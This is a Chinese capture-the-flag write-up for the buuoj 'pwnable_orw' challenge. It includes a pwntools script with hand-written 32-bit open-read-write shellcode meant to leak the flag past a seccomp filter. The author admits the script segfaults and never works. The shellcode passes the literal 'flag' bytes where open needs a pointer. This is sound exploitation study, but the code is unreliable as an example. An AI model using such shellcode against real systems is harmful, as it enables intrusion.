Shellcode、ORW

https://buuoj.cn/challenges#pwnable_orw

首先checksec

32位系统下,栈可执行,有金丝雀。看一下代码:

代码相当简单,有一个seccomp的初始化,然后read了一个shellcode(字符串),然后以shellcode字符串的地址直接在栈上执行。根据题目叫做pwn able orw,也就是一道考察ORW syscall的题目。

查看一下seccomp启用呢?

启用了open、read、write和exit,还有一个什么sigreturn和rt_sigreturn,和一个架构。

之前写过类似的题目,详细记录在这:shellcode1_dahuan02

不过这个是32位系统的,我们按照32位做一个ORWshellcode就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
# r = process("./orw")
r = process('./orw')
elf = ELF('./orw')
# r = remote('node5.buuoj.cn',27768)
bss_addr = elf.bss()
# gdb.attach(r,'b main')
# shellcode = shellcraft.open('flag')
# shellcode += shellcraft.read(3, bss_addr, 0x100)
# shellcode += shellcraft.write(1, bss_addr, 0x100)
shellcode = """
mov ebx, 0x67616c66
xor ecx, ecx
xor edx, edx
mov eax, 5
int 0x80

mov ebx,3
mov ecx, 0x804a040
xor edx, edx
mov dh, 0x100 >> 8
mov eax,3
int 0x80

mov ebx, 1
mov ecx,0x804a040
xor edx, edx
mov dh, 0x100 >> 8
mov eax,4
int 0x80
"""
print(shellcode)
shellcode = asm(shellcode, arch = 'i386', os='linux')
r.sendline(shellcode)
r.interactive()

但是很可惜的是不知道为什么这道题目没有办法写出来。不管是本地还是远程都有段错误。这个段错误非常的奇怪,不知为何就是解决不了。而且我看别人的视频里面的解法里面也是有段错误的,但是非常奇怪别人可以正常获得flag。

3 read 0x03 unsigned int fd char *buf size_t count
4 write 0x04 unsigned int fd const char *buf size_t count
5 open 0x05 const char *filename int flags umode_t mode

以后有时间在解决吧。这个问题。